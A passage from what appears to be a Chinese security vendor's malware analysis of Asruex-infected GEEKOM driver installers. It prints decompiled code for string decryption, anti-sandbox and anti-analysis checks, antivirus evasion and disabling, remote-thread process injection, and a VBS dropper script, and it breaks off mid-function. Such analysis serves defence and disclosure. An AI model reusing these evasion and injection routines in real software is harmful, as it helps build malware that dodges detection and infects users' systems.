概述
近日,海外科技媒体 VideoCardz 报道 GEEKOM 部分 Mini PC 驱动资源中存在被标记为恶意软件的可执行文件,后经 GEEKOM 官方确认相关文件曾存在于其旧版支持页面。经进一步分析,该文件被 Asruex 感染型病毒感染,执行后可通过环境检测和载荷投递加载第二阶段后门,并进一步建立持久化机制,感染本地PE、Word和PDF文件,同时通过 USB 可移动介质扩大传播范围;此外,后门还具备文件操作、进程管理、文件窃取、屏幕捕获等远程控制能力,形成从初始投递、后门驻留、文件感染到持续传播和远程控制的完整攻击链。
事件详情
本次事件中,GEEKOM Mini PC 驱动安装程序被 Asruex 感染型病毒感染。用户下载并执行后,样本首先进行运行环境检查,通过后加载第二阶段后门,并在系统中建立持久化机制。随后,后门搜索本地文件及可移动介质,对不同类型文件实施感染,同时监控 USB 介质中的新增文件,并通过远程命令机制执行文件操作、数据窃取等任务,进一步扩大感染范围和控制能力。
攻击流程

样本分析
初始样本分析
| 字段 | 值 |
|---|---|
| 原始文件名 | Install_PCIE_Win11_11.10.0720.2022_11222022.exe |
| 文件大小 | 5,967,768 bytes (5.69 MB) |
| MD5 | 0868086f42d8335973724f0aac18469c |
| 文件类型 | PE32 executable |
| 病毒名 | Virus.Asruex!1.CC86 |
| 主要功能 | 多模式载荷分发器(注入/落盘/自复制) |
XOR 字符串解密体系
样本使用固定 19 字节密钥 Windows\xa2\xe7 installer(存储在 g_XorKey)对 80+ 处敏感字符串进行 XOR 加密。解密器 XorDecryptString 被调用 80+ 次,解密逻辑为标准 XOR,但当密文字节等于对应密钥字节时保留原值(跳过 XOR),这是一种反检测变形。
解密的字符串包括:API 名(kernel32/VirtualAllocEx/WriteProcessMemory/VirtualFreeEx/CreateRemoteThread/OpenProcess/IsWow64Process/CreateProcessA/CreateToolhelp32Snapshot/Process32First/Process32Next/HeapAlloc)、文件名(Silverlight0.dat/Guest.bmp/Silverlight1.vbs/c:\windows\system32\cmd.exe)、互斥体名(5个GUID)、感染标记(.EBSS)、注入入口(DllCanUnloadNow)、环境变量(%TEMP%/%USERPROFILE%)、对话框类名(#32770)、目标进程列表(4组OS版本)、AV进程名(16个)、分析工具名(10个)、360进程名(5个)等。
key = b'Windows\xa2\xe7 installer' # 19 字节
for i in range(len(cipher)):
k = key[i % 19]
if cipher[i] == k:
plain[i] = cipher[i] # 跳过 XOR,保留原字节
else:
plain[i] = cipher[i] ^ k # 标准 XOR 解密
PRNG-XOR + Zlib 载荷解密
PrngXorCrypt 使用标准 C 库 srand(seed) + rand()%256 逐字节异或。样本内置两套密钥/载荷对,并使用两个不同的 zlib 解压函数:
| 用途 | 载荷地址 | 密钥(种子) | 解压函数 |
|---|---|---|---|
| 注入路径 | g_EmbeddedPayload | 0xB5D1E | ZlibUncompress |
| 落盘路径 | g_embeddedPayload | 0xB5C82 | ZlibUncompress |
| .EBSS段 | .EBSS(309KB) | 段头字段 | ZlibUncompressExpand |
注:ZlibUncompress和 ZlibUncompressExpand 是两个不同的 zlib 解压函数,分别用于内置载荷和 .EBSS 段载荷的解压。
注入路径的载荷解密代码:
pDecompressedPayload = ((int (__stdcall *)(HANDLE, _DWORD, int))pHeapAlloc)(a1: hProcessHeap, a2: 0, a3: dwDecompressedSize);
if ( pDecompressedPayload )
{
pEncryptedBlob = operator new(Size: dwEncryptedSize);
if ( pEncryptedBlob )
{
memcpy(a1: pEncryptedBlob, Src: &g_EmbeddedPayload, Size: dwEncryptedSize);
PrngXorCrypt(a1: g_PayloadKey, a2: dwEncryptedSize, a3: (int)pEncryptedBlob);
if ( ZlibUncompress(a1: pDecompressedPayload, a2: &dwActualDecompressedSize, a3: (unsigned __int8 *)pEncryptedBlob, a4: dwEncryptedSize) )
{
operator delete(a1: pEncryptedBlob);
}
else
{
operator delete(a1: pEncryptedBlob);
bInjected = InjectPayloadIntoProcess(a1: pDllPath, a2: hTargetProcess, a3: pDecompressedPayload, a4: dwActualDecompressedSize) != 0;
}
}
}
动态 API 解析
样本将 11 个敏感 API 排除在 IAT 之外,运行时通过 GetModuleHandleA("kernel32") + GetProcAddress 动态解析。所有 API 名和模块名均经 XOR 加密存储:
| API | 用途 |
|---|---|
| VirtualAllocEx | 远程内存分配 |
| WriteProcessMemory | 远程内存写入 |
| VirtualFreeEx | 远程内存释放 |
| CreateRemoteThread | 远程线程创建 |
| OpenProcess | 打开已存在进程 |
| IsWow64Process | 64位检测 |
| CreateProcessA | 进程创建 |
| CreateToolhelp32Snapshot | 进程快照 |
| Process32First | 进程枚举 |
| Process32Next | 进程枚举 |
| HeapAlloc | 堆分配 |
%TEMP% 目录反沙箱检测
样本获取系统 %TEMP% 目录路径,去掉尾部反斜杠后将其作为 lpApplicationName 参数调用 CreateProcessA。由于目录路径无法作为可执行文件启动,真实 Windows 系统会返回 ERROR_ACCESS_DENIED(5),而沙箱环境通常不返回此错误。样本通过 GetLastError() != 5 判定:返回非5=沙箱,返回5=真实系统。
if ( !GetTempPathA(nBufferLength: 0x105u, lpBuffer: szTempPath)//获取%TEMP% 目录
|| !strlen(szTempPath)
|| szTempPath[lstrlenA(lpString: szTempPath) - 1] != 92 )
{
return 0;
}
szTempPath[lstrlenA(lpString: szTempPath) - 1] = 0;
CreateProcessA(
lpApplicationName: szTempPath,
lpCommandLine: 0,
lpProcessAttributes: 0,
lpThreadAttributes: 0,
bInheritHandles: 0,
dwCreationFlags: 0,
lpEnvironment: 0,
lpCurrentDirectory: 0,
lpStartupInfo: &StartupInfo,
lpProcessInformation: &ProcessInformation); // 调用 CreateProcessA 探测环境
盘符存在性探测反沙箱
样本解密加密串 "4S2" 得到 "c:\",然后从盘符 ‘c'(99) 到 ‘z'(122) 逐字母使用 fopen_s 尝试打开盘符根路径。如果任一盘符可打开,则判定为真实系统(返回1);如果所有盘符均无法打开,则判定为沙箱(返回0)。沙箱环境通常不挂载真实磁盘。
fp = 0;
memset(szDriveRoot, 0, 261);
XorDecryptString(a1: a4s2); // 加密字符串 "4S2",XOR 密钥 "Windows\xa2\xe7 installer",解密为 "c:\" 盘符模板
letter = 99;
while ( 1 )
{
szDriveRoot[0] = letter;
fopen_s(Stream: &fp, FileName: szDriveRoot, Mode: "r");
result = fp;
if ( fp )
break;
if ( ++letter > 122 )
return result;
}
fclose(Stream: fp);
return (FILE *)1;
}
主机名匹配对抗沙箱
样本内置15组计算机名+用户名硬编码名单,运行时获取本机计算机名和用户名,经XOR加密后与名单逐条比对。仅当 15 条全部不命中时样本才继续执行;一旦本机信息命中名单,立即以 -1 退出进程。名单中包含明确的沙箱标识(SANDBOXB/User)和分析机标识,表明该机制用于和沙箱对抗。
// 1) 清零计算机名 + 用户名缓冲区 (共 273 字节, 对应一条记录大小 0x111)
memset(computerName, 0, sizeof(computerName));
memset(userName, 0, sizeof(userName));
// 2) 获取本机计算机名 (最多 16 字节)
computerNameLen = 16;
if (!GetComputerNameA(computerName, &computerNameLen))
return 0;
// 3) 获取当前登录用户名 (最多 257 字节)
userNameLen = 257;
if (!GetUserNameA(userName, &userNameLen))
return 0;
// 4) 对计算机名、用户名做 XOR 变换 (与目标名单使用同一密钥加密)
XorDecryptString(computerName);
XorDecryptString(userName);
// 5) 遍历硬编码目标名单
// pRecord 初始指向第 0 条记录的"用户名"字段 (g_TargetHostList_user0 @ 0x420AE8)
// 对应的"计算机名"字段在 pRecord - 16 处
// 每条记录步进 273 字节 (0x111)
pRecord = g_TargetHostList_user0; // 0x420AE8
offset = 0;
while ( strcmp(computerName, pRecord - 16) != 0 // 比对计算机名
|| strcmp(userName, pRecord) != 0 ) // 比对用户名
{
offset += 273; // 0x111 = sizeof(record)
pRecord += 273;
if (offset >= 0xFFF) // 超出名单范围 (~15 条) 仍未命中
return 0;
}
15组目标主机名
| # | 计算机名 | 用户名 |
|---|---|---|
| 0 | BRBRB-D8FB22AF1 | antonie |
| 1 | ANTONY-PC | Antony |
| 2 | TEQUILABOOMBOOM | janettedoe |
| 3 | HBXPENG | makrorechner |
| 4 | IOAVM | Administrator |
| 5 | XANNY | Administrator |
| 6 | NONE-DUSEZ58JO1 | Administrator |
| 7 | rtrtrele | Administrator |
| 8 | HOME-OFF-D5F0AC | Dave |
| 9 | DELL-D3E64F7E26 | Administrator |
| 10 | JONATHAN-C561E0 | Administrator |
| 11 | HANS | Hanuele Baser |
| 12 | IePorto | Administrator |
| 13 | SANDBOXB | User |
| 14 | pc9 | Administrator |
Sandboxie 沙箱检测
样本解密两个 Sandboxie 特有导出函数名,遍历所有已加载模块检查是否有模块导出这两个函数。如果两个函数均被找到,判定为 Sandboxie 沙箱环境。
memset(apiName1, 0, 261);
memset(apiName2, 0, 261);
XorDecryptString(a1: asc_41C83C); // _SbieDll_Hook@12
XorDecryptString(a1: asc_41C850); // SbieApi_QueryProcessPath@28
return IsProcExportedByAnyModule(a1: apiName1) && IsProcExportedByAnyModule(a1: apiName2);
Cuckoo 沙箱检测
样本通过3种方式检测 Cuckoo 沙箱:
CreateFileA尝试打开命名管道\\.\pipe\cuckooCreateFileA尝试打开标记文件C:\cuckoo(通过截取系统目录前3字符构造C:\)- 检查 Cuckoo hook API
hook_api/New2_CreateProcessInternalW@48是否被模块导出。任一方式命中即判定为 Cuckoo 沙箱
FileA = CreateFileA(lpFileName: szCuckooPipe,dwDesiredAccess: 0,dwShareMode: 0,
lpSecurityAttributes: 0,dwCreationDisposition: 3u,dwFlagsAndAttributes: 0,
hTemplateFile: 0); // CreateFileA 检测 Cuckoo 命名管道 \\.\pipe\cuckoo
if ( FileA != (HANDLE)-1 )
goto LABEL_9;
result = GetSystemDirectoryA(lpBuffer: szSystemDir, uSize: 0x105u);
if ( !result )
return result;
szSystemDir[3] = 0;
strcat_s(Destination: szSystemDir, SizeInBytes: 0x105u, Source: szCuckooMarker);
FileA = CreateFileA(lpFileName: szSystemDir,dwDesiredAccess: 0,dwShareMode: 0,lpSecurityAttributes: 0,dwCreationDisposition: 3u,dwFlagsAndAttributes: 0x2000000u,hTemplateFile: 0); // CreateFileA 检测 Cuckoo 标记文件 C:\cuckoo
if ( FileA != (HANDLE)-1 )
{
LABEL_9:
CloseHandle(hObject: FileA);
return 1;
}
if ( GetLastError() == 5 )
return 1;
return IsProcExportedByAnyModule(a1: szHookApi1) && IsProcExportedByAnyModule(a1: szHookApi2);// sub_403100 检查 hook_api/New2_CreateProcessInternalW@48 是否被导出
检查自身文件名
样本要求自身文件名不为自身文件内容的某种哈希值。依次尝试 9 种哈希算法(SHA256/SHA1/MD5/CRC32/Adler32/MD2/MD4/SHA384/SHA512),任一哈希的十六进制表示与文件名匹配(不区分大小写)即判定命中并随即退出,全部不匹配或文件名含非十六进制字符才继续执行。此机制用于识别部分将样本文件重命名为文件Hash值后再执行的沙盒环境,属反分析机制
// ---- 1. 获取自身可执行文件完整路径 ----
if (GetModuleFileNameA(NULL, filePath, 0x105) == 0)
return 0;
// ---- 2. 拆分路径, 取文件名部分(不含扩展名) ----
if (_splitpath_s(filePath,
NULL, 0, // drive
NULL, 0, // dir
fileTitle, 0x105, // filename (title)
NULL, 0) != 0) // extension
return 0;
// ---- 3. 验证文件名是纯十六进制字符串 ----
{
size_t len = strlen(fileTitle);
size_t i;
for (i = 0; i < len; i++) {
char c = fileTitle[i];
if (!((c >= '0' && c <= '9') // 0-9
|| (c >= 'A' && c <= 'F') // A-F
|| (c >= 'a' && c <= 'f'))) // a-f
return 0; // 非十六进制字符 → 校验失败
}
}
// ---- 4. 打开自身文件并读取全部内容 ----
hFile = CreateFileA(filePath, GENERIC_READ,FILE_SHARE_RW_DEL,NULL,OPEN_EXISTING,0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return 0;
fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE)
goto cleanup_file;
fileData = (BYTE *)malloc(fileSize);
if (fileData == NULL)
goto cleanup_file;
if (!ReadFile(hFile, fileData, fileSize, &bytesRead, NULL))
goto cleanup_file;
// ---- 5. 依次尝试多种哈希算法 ----
// (1) SHA-256
hashLen = 256;
if (ComputeCryptoHash(fileData, fileSize, CALG_SHA_256, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (2) SHA-1
hashLen = 256;
if (ComputeCryptoHash(fileData, fileSize, CALG_SHA1, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (3) MD5
hashLen = 256;
if (ComputeCryptoHash(fileData, fileSize, CALG_MD5, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (4) CRC32
hashLen = 256;
if (Crc32Buffer(fileData, fileSize, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (5) Adler-32
hashLen = 256;
if (Adler32Compute(hashBuf, fileData, fileSize, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (6) MD2
hashLen = 256;
if (ComputeCryptoHash(fileData, fileSize, CALG_MD2, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (7) MD4
hashLen = 256;
if (ComputeCryptoHash(fileData, fileSize, CALG_MD4, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (8) SHA-384
hashLen = 256;
if (ComputeCryptoHash(fileData, fileSize, CALG_SHA_384, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
// (9) SHA-512
hashLen = 256;
if (ComputeCryptoHash(fileData, fileSize, CALG_SHA_512, hashBuf, &hashLen)
&& HexCompareBytes(hashLen, fileTitle, hashBuf) == 0) {
result = 1;
goto cleanup_file;
}
分析工具进程检测
样本枚举系统中所有进程,首先按可执行文件名匹配10个分析工具黑名单(Sysinternals工具集/Wireshark/NirSoft工具),如果exe名未命中,则进一步打开进程获取完整路径,读取版本信息(FileDescription+CompanyName),用版本字段匹配黑名单。双重匹配确保即使exe名被修改,仍可通过版本信息检测分析工具。
// ---- 4. 遍历进程列表 ----
do
{
// 释放上一轮的版本信息缓冲区
if (pVerBlock != NULL)
{
free(pVerBlock);
pVerBlock = NULL;
}
// ---- 4a. 第一步: 用 exe 名匹配黑名单 ----
if (DetectAnalysisTools(pe.szExeFile, NULL, NULL))
{
bDetected = 1;
break;
}
// ---- 4b. 打开进程获取 exe 完整路径 ----
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pe.th32ProcessID);
if (hProcess == NULL)
continue;
if (GetModuleFileNameExA(hProcess, NULL, szFullExePath, MAX_PATH) == 0)
{
CloseHandle(hProcess);
continue; }
// ---- 4c. 获取版本信息大小 ----
verInfoSize = GetFileVersionInfoSizeA(szFullExePath, NULL);
if (verInfoSize == 0)
{
CloseHandle(hProcess);
continue;
}
// ---- 4d. 分配并获取版本信息 ----
pVerBlock = malloc(verInfoSize);
if (pVerBlock == NULL
|| !GetFileVersionInfoA(szFullExePath, 0, verInfoSize, pVerBlock))
{
CloseHandle(hProcess);
continue;
}
// ---- 4e. 查询翻译信息 (\VarFileInfo\Translation) ----
sprintf_s(szSubBlock, sizeof(szSubBlock), "\\%s\\%s",
g_encStr_StringFileInfo,
g_encStr_Translation);
if (!VerQueryValueA(pVerBlock, szSubBlock, &lpTranslation, &translationLen)
|| translationLen == 0)
{
CloseHandle(hProcess);
continue;
}
// 翻译标识格式化为 8 位 hex (如 "040904B0")
sprintf_s(szTranslation, sizeof(szTranslation), "%08x",
ROL4(*(DWORD *)lpTranslation, 16));
// ---- 4f. 查询 FileDescription ----
sprintf_s(szSubBlock, sizeof(szSubBlock), "\\%s\\%s\\%s",
g_encStr_StringFileInfo,
szTranslation,
g_encStr_FileDescription);
if (!VerQueryValueA(pVerBlock, szSubBlock,
(LPVOID *)&pFileDesc, &translationLen)
|| translationLen == 0)
{
CloseHandle(hProcess);
continue;
}
// ---- 4g. 查询 CompanyName ----
sprintf_s(szSubBlock, sizeof(szSubBlock), "\\%s\\%s\\%s",
g_encStr_StringFileInfo,
szTranslation,
g_encStr_CompanyName);
if (!VerQueryValueA(pVerBlock, szSubBlock,
(LPVOID *)&pCompanyName, &translationLen)
|| translationLen == 0)
{
CloseHandle(hProcess);
continue;
}
// ---- 4h. 用版本字段匹配黑名单 ----
if (DetectAnalysisTools(NULL, pFileDesc, pCompanyName))
{
bDetected = 1;
CloseHandle(hProcess);
break;
}
CloseHandle(hProcess);
10个分析工具黑名单
| # | 可执行名 | 产品名 | 公司名 |
|---|---|---|---|
| 1 | Filemon.exe | File system monitor | Sysinternals |
| 2 | Regmon.exe | Sysinternals Registry Monitor | Sysinternals |
| 3 | Procmon.exe | Process Monitor | Sysinternals |
| 4 | Tcpview.exe | TCP/UDP endpoint viewer | Sysinternals |
| 5 | wireshark.exe | Wireshark | Wireshark developer community |
| 6 | dumpcap.exe | Dumpcap | (空) |
| 7 | regshot.exe | (空) | (空) |
| 8 | cports.exe | (空) | NirSoft |
| 9 | smsniff.exe | SmartSniff | NirSoft |
| 10 | SocketSniff.exe | SocketSniff | NirSoft |
感染标记检查与行为分发
样本进行感染标记检查,通过对 argv[1] 指向的 PE 文件是否包含名为 .EBSS 的节区
- 如果不存在(未感染),且
g_Mode==3:获取命令行的3个参数,带着参数直接进入DispatchInjectOrDrop g_Mode!=3:获取命令行的1个参数,直接进入DispatchInjectOrDrop。如果存在(已感染),进入Trend Micro Deep Security Agent检测与禁用,检测通过后,按g_Mode进入对应分支。未通过直接退出g_Mode=1:自复制到启动目录(仅已感染路径),将自身复制到%USERPROFILE%\AppData\Roaming\并通过CreateProcessA启动副本,随后进入DispatchInjectOrDrop函数g_Mode=2:解密被感染的原始文件,释放在当前目录下并运行,运行成功后进入DispatchInjectOrDrop函数
···//省略部分代码
// 感染标记检查:宿主文件是否含 .EBSS 段 ──
if (!ValidateEbssPayloadSection(g_ConfigStrings[0])) // 无 .EBSS → 未感染
{
// 【未感染路径】所有 g_Mode 均进入感染分发
if (g_Mode == 3)
sprintf_s(buf, 0x20A, "%s;%s", g_ConfigStrings[0], g_ConfigStrings[2]); // 拼接目标清单
else
buf = g_ConfigStrings[0];
DispatchInjectOrDrop(buf); // 查找/创建目标进程并注入载荷
return 0;
}
// 关闭Trend Micro Deep Security Agent相关的进程和服务
if (IsTrendMicroFrameworkRunning())
if (DisableTrendMicro() == 2)
return 0;
switch (g_Mode)
{
case 1: // ── 自复制 + 重启副本(重执行型持久化)──
if (!ExpandEnvironmentStringsA(srcPath, dstPath, 0x105)) break;
pSlash = strrchr(g_ConfigStrings[0], '\\'); // 提取当前文件名
if (!pSlash) break;
strcat_s(dstPath, 0x105, pSlash); // %USERPROFILE%\AppData\Roaming\<自身文件名>
if (!CopyFileA(g_ConfigStrings[0], dstPath, FALSE)) break;
sprintf_s(cmdLine, 0x800, "\"%s\" %s", dstPath, g_ConfigStrings[0]);
pCreateProcessA(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
break; // 启动副本(携带原宿主路径作参数)后退出,由副本以 g_Mode=2 继续
case 2: // ── .EBSS 原始文件的提取和启动
WaitFileWritable();
if (DropPayloadWithTimestomp(g_ConfigStrings[1])) // 从 `.EBSS` 的节区解密被感染的原始文件
{
sprintf_s(cmdLine, 0x800, "\"%s\"", g_ConfigStrings[1]);
if (pCreateProcessA(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))//启动原始文件
DispatchInjectOrDrop(g_ConfigStrings[0]); // 启动成功 → 注入原宿主进程
}
else
DispatchInjectOrDrop(g_ConfigStrings[0]); // 落盘失败 → 直接注入
break;
}
return 0;
}
第一阶段载荷执行与投递方式
DispatchInjectOrDrop 是第一阶段的核心载荷分发器。函数首先检查多个互斥体以限制重复执行,再根据 DetectWow64 判断当前系统架构,并选择相应的载荷投递路径:
- 32 位系统结合反沙箱结果和操作系统版本选择目标进程,必要时先创建目标进程再实施注入
- 64 位系统则初始化路径,使用
PRNG-XOR + zlib解密载荷,释放文件到%TEMP%目录
mutexCount = CheckRunMarkerMutexes(); // 检查互斥体,是否重复运行
if ( mutexCount >= atoi(String: "5") )
return 1;
XorDecryptString(a1: aR_0);
XorDecryptString(a1: "r=+)?R");
XorDecryptString(a1: asc_41CCC8);
XorDecryptString(a1: byte_41CCD4);
hKernel32 = GetModuleHandleA(lpModuleName: szKernel32Dll);
pCreateProcessA = GetProcAddress(hModule: hKernel32, lpProcName: szCreateProcessA);
if ( !pCreateProcessA )
return 0;
if ( !DetectWow64() ) // 检查系统版本
{
if ( IsSandbox_TempDirExec() ) // 反沙箱检测
AntiSandboxCrash(a1: 1); // 反沙箱的延迟检测
osviZeroBytes = 148;
pZero = &osvi;
do
{
LOBYTE(a1: pZero->dwOSVersionInfoSize) = 0;
pZero = (_OSVERSIONINFOA *)((char *)pZero + 1);
--osviZeroBytes;
}
while ( osviZeroBytes );
osvi.dwOSVersionInfoSize = 148;
if ( !GetVersionExA(lpVersionInformation: &osvi) )
return 0;
if ( osvi.dwMajorVersion == 5 )
{
XorDecryptString(a1: asc_41CD84);
}
else
{
if ( osvi.dwMajorVersion != 6 )
return 0;
if ( osvi.dwMinorVersion )
{
if ( osvi.dwMinorVersion == 1 )
{
XorDecryptString(a1: asc_41CDF0);
}
else if ( osvi.dwMinorVersion == 2 )
{
XorDecryptString(a1: a2);
}
}
else
{
XorDecryptString(a1: a3);
}
}
pszProcessName = strtok_s(szTargetProcessList, Delimiter: ";", &strtokCtx);
if ( !pszProcessName )
return 0;
while ( 1 )
{
dwTargetPid = FindProcessIdByNameDyn(a1: 1); // 枚举进程,查找属于用户的进程以备后续注入
if ( dwTargetPid != -1 )
break;
siZeroCount = 68;
pSiZero = StartupInfo;
do
{
*pSiZero++ = 0;
--siZeroCount;
}
while ( siZeroCount );
StartupInfo[0] = 68;
piZeroBytes = 16;
pPiZero = ProcessInfo;
do
{
*(_BYTE *)pPiZero = 0;
pPiZero = (HANDLE *)((char *)pPiZero + 1);
--piZeroBytes;
}
while ( piZeroBytes );
if ( ((int (__stdcall *)(_DWORD, char *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD *, HANDLE *))pCreateProcessA)(
a1: 0,
a2: pszProcessName,
a3: 0,
a4: 0,
a5: 0,
a6: 0,
a7: 0,
a8: 0,
a9: StartupInfo,
a10: ProcessInfo) )
{
WaitForInputIdle(hProcess: ProcessInfo[0], dwMilliseconds: 0x1388u);
bInjected = StageAndInjectPayload(a1: (int)ProcessInfo[0]);
目标进程列表(按OS版本)
| OS版本 | 目标进程 |
|---|---|
| XP(Major=5) | wksprt.exe;ctfmon.exe;explorer.exe |
| Vista(Major=6,Minor=0) | dwm.exe;sidebar.exe;taskeng.exe;MSASCui.exe |
| Win7(Major=6,Minor=1) | wsmprovhost.exe |
| Win8+(Major=6,Minor=2) | explorer.exe |
进程注入
InjectPayloadIntoProcess 负责将第二阶段 PE 映像注入目标进程。函数运行时先通过PRNG-XOR + zlib解压出恶意载荷,解析进程注入所需 API,并通过手动解析 PE 导出表定位 DllCanUnloadNow 的入口 RVA;在注入操作执行前,需要检查当前系统是否存在安全软件,通过内置的15个AV进程名进行遍历进程检测,如命中 Avira 安全软件,通过自动点掉 Avira 的注入拦截弹窗,随后在目标进程中分配内存、写入 PE 映像及宿主文件路径,最终通过 CreateRemoteThread 从载荷入口启动执行。该过程避免直接依赖完整导入表,并以远程线程完成载荷启动。
memcpy(v9, &g_EmbeddedPayload,Size);
PrngXorCrypt( g_PayloadKey, Size, v9);
ZlibUncompress(payload, &v13, v9, Size)
if (!pfnVirtualAllocEx || !pfnWriteProcessMemory || !pfnVirtualFreeEx || !pfnCreateRemoteThread)
return 0;
// 参数校验 + 手动解析 PE 导出表获取 DLL 入口 RVA
if (!hProcess || !payload || !payloadSize || (dllEntryRVA = ResolveExportByName(payload)) == 0)
{
LABEL_9:
__leave; // 退出 SEH, TryLevel = -2
return 0;
}
// 15款AV检测
if (DetectSecuritySoftware() & 0x800 !=0)
{
// VirtualAllocEx — 在目标进程分配 RWX 内存写入 PE 载荷
remotePayload = pfnVirtualAllocEx(hProcess, NULL, payloadSize, 0x3000, 0x40);
if (!remotePayload)
goto LABEL_9;
// WriteProcessMemory — 将 PE 载荷写入远端 RWX 内存
if (pfnWriteProcessMemory(hProcess, remotePayload, payload, payloadSize, NULL))
{
// VirtualAllocEx — 在目标进程分配 RW 内存写入文件路径
remotePath = pfnVirtualAllocEx(hProcess, NULL, strlen(filePath), 0x3000, 0x04);
if (remotePath)
{
// WriteProcessMemory — 将文件路径写入远端 RW 内存
if (!pfnWriteProcessMemory(hProcess, remotePath, filePath, strlen(filePath), NULL))
goto LABEL_23;
// CreateRemoteThread — 在目标进程创建远程线程
hRemoteThread = pfnCreateRemoteThread(
hProcess,
NULL, // lpThreadAttributes
0, // dwStackSize
(LPTHREAD_START_ROUTINE)((DWORD)remotePayload + dllEntryRVA), // lpStartAddress
remotePath, // lpParameter
0, // dwCreationFlags (立即执行)
&dwThreadId);
if (!hRemoteThread)
goto LABEL_23;
}
// TryLevel = -2 (正常退出 SEH)
}
else
// WriteProcessMemory(载荷) 失败 — 路径内存未分配
remotePath = NULL;
}
} __finally {
LABEL_23:
if (bStartedClicker)
StopClickerThread(); // 关闭Avira的注入拦截弹窗
if (!hRemoteThread)
{
// 注入失败 — 释放远端分配的内存
if (remotePath)
pfnVirtualFreeEx(hProcess, remotePath, strlen(filePath), 0xC000); // MEM_DECOMMIT|MEM_RELEASE
if (remotePayload)
pfnVirtualFreeEx(hProcess, remotePayload, payloadSize, 0xC000);
}
}
15个AV进程名黑名单
| 进程名 | 所属杀软 |
|---|---|
| AYRTSrv.aye | ESTsoft ALYac |
| AvastUI.exe | Avast |
| avgtray.exe | AVG |
| avgnt.exe | Avira |
| avfwsvc.exe | Avira |
| avp.exe | Kaspersky |
| mcagent.exe | McAfee |
| msseces.exe | Microsoft Security Essentials |
| ekrn.exe | ESET-NOD32 |
| ccSvcHst.exe | Symantec Endpoint Protection |
| nis.exe | Norton Internet Security |
| coreFrameworkHost.exe | Trend Micro Deep Security Agent |
| 360Tray.exe | 360安全卫士 |
| avgui.exe | AVG |
| nanoav.exe | NANO Antivirus |
分片文件落盘 + VBS 拼接
当检测到命中 Trend Micro Deep Security Agent 或 AVG 两款安全软件时,样本将解密解压后的载荷分片落盘为3个文件:前256字节写入 Silverlight0.dat,剩余部分写入 Guest.bmp,同时生成 Silverlight1.vbs 脚本。VBS脚本使用 ADODB.Stream 对象将两个文件按顺序拼接为 test.exe。随后通过 cmd.exe /C Silverlight1.vbs 执行脚本完成拼接,再 CreateProcessA 执行拼接后的载荷。
memcpy(a1: p_encrypted_blob_1, Src: &g_embeddedPayload, Size: g_embeddedPayloadSize);
PrngXorCrypt(g_PayloadKey: g_embeddedPayloadKey, Size: g_embeddedPayloadSize, p_encrypted_blob);// PRNG 异或解密
p_lpFileName[0] = g_embeddedPayloadDecSize;
p_decompressed_payload = operator new(Size: g_embeddedPayloadDecSize);
if ( p_decompressed_payload == nullptr
|| ZlibUncompress(p_decompressed_payload, p_lpFileName, p_encrypted_blob, Size: g_embeddedPayloadSize) != 0 )// zlib解压
{
operator delete(a1: p_encrypted_blob);
}
else
{
operator delete(a1: p_encrypted_blob);
WriteBufferToFile(Destination, n0x100: 0x100u, p_decompressed_payload);// 前256字节写入到Silverlight0.dat
WriteBufferToFile(
Destination: Buffer,
n0x100: p_lpFileName[0] - 256,
p_decompressed_payload: p_decompressed_payload + 256); // sub_401F10 写剩余 500992 字节体到文件 Guest.bmp
WriteVbsFileJoiner(a1: a4, Destination, Buffer, Dst);// 生成 Silverlight1.vbs 脚本
v4 = 1;
}
if ( p_decompressed_payload != nullptr )
Silverlight1.vbs 脚本内容:
const adTypeText=2
const adTypeBinary=1
dim inStream, outStream
set inStream=WScript.CreateObject("ADODB.Stream")
set outStream=WScript.CreateObject("ADODB.Stream")
inStream.Open
inStream.type=adTypeBinary
outStream.Open
outStream.type=adTypeBinary
inStream.LoadFromFile("%TEMP%\Silverlight0.dat")
outStream.Write = inStream.Read()
inStream.LoadFromFile("%TEMP%\Guest.bmp")
outStream.Write = inStream.Read()
outStream.SaveToFile("%TEMP%\test.exe")
outStream.Close()
inStream.Close()
单文件落盘执行
当未检测 Avira 或 Norton 两款安全软件时,样本将PRNG-XOR + zlib后的完整载荷写入 %TEMP%\(复用自身文件名),然后通过 CreateProcessA 以2个命令行参数启动落盘文件。
int __cdecl DropEmbeddedPayload(LPCSTR lpFileName)
{
// 1. 参数校验
if (lpFileName == NULL || strlen(lpFileName) == 0) return 0;
// 2. 复制加密载荷到堆缓冲区 (425KB)
pEncryptedBlob = malloc(g_embeddedPayloadSize); // 0x67C55
memcpy(pEncryptedBlob, &g_embeddedPayload, g_embeddedPayloadSize);
// 3. PRNG-XOR 解密: srand(0xB5C82); buf[i] ^= rand()%256;
PrngXorCrypt(g_embeddedPayloadKey, g_embeddedPayloadSize, pEncryptedBlob);
// 4. zlib 解压 (425KB → 501KB)
pDecompressedPayload = malloc(g_embeddedPayloadDecSize); // 0x7A600
if (ZlibUncompress(...) != 0) { /* 失败 */ }
// 5. CreateFileA + WriteFile 落盘
hFile = CreateFileA(lpFileName, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
